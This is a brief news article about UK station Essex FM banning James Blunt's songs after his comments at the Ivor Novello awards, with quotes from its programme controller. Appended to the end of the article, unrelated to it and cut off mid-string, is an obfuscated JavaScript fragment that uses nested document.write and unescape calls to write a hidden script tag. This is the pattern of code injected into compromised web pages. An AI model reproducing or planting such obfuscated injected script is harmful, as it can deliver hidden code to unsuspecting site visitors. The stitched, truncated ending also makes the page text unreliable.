James Blunt radio ban

A UK radio station has banned MOR singer James Blunt's songs from its airwaves, just days after the star said at an awards ceremony that anyone who does not like his music should simply switch off.

Blunt's 2005 worlwide chart-topper 'You're Beautiful' won two Ivor Novello awards - International Hit Of The Year and Most Performed Work - at the London event last week (May 25).

After claiming his prizes at the Grosvenor House Hotel, Blunt said: "To all those bastards who don't like my music - you're all adults, you can switch your radio off."

Now Essex FM have announced that from today (May 29) it would no longer play Blunt's hits 'You're Beautiful' and 'Goodbye My Lover'.

The station said it was responding to recent audience research, which revealed that listeners had tired of the star's sound.

Chris Cotton, the programme controller, told The Independent: "Quite often there will be popular artists that people are starting to grow weary of. This time, the number of specific comments about James Blunt were more than we have ever seen for one particular artist."

He added: "It was quite staggering. People said, 'Can you get rid of him?' 'Can you ban him?' Even people who say they are fans of his songs go on to express that they're sick of it."

Cotton added that when the station announced its intention to ban the singer, the switchboard was inundated.

He insisted: "The amount of feedback is enormous, so it looks like there'll be a pretty long-term ban.

"While his songs have been very popular, there is a tremendous amount of industry pressure to play certain artists frequently. Often this can be out of step with the audience's tastes, which results in songs being overplayed. We're happy to stand up to this pressure. We encourage other radio stations to take the same step."document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22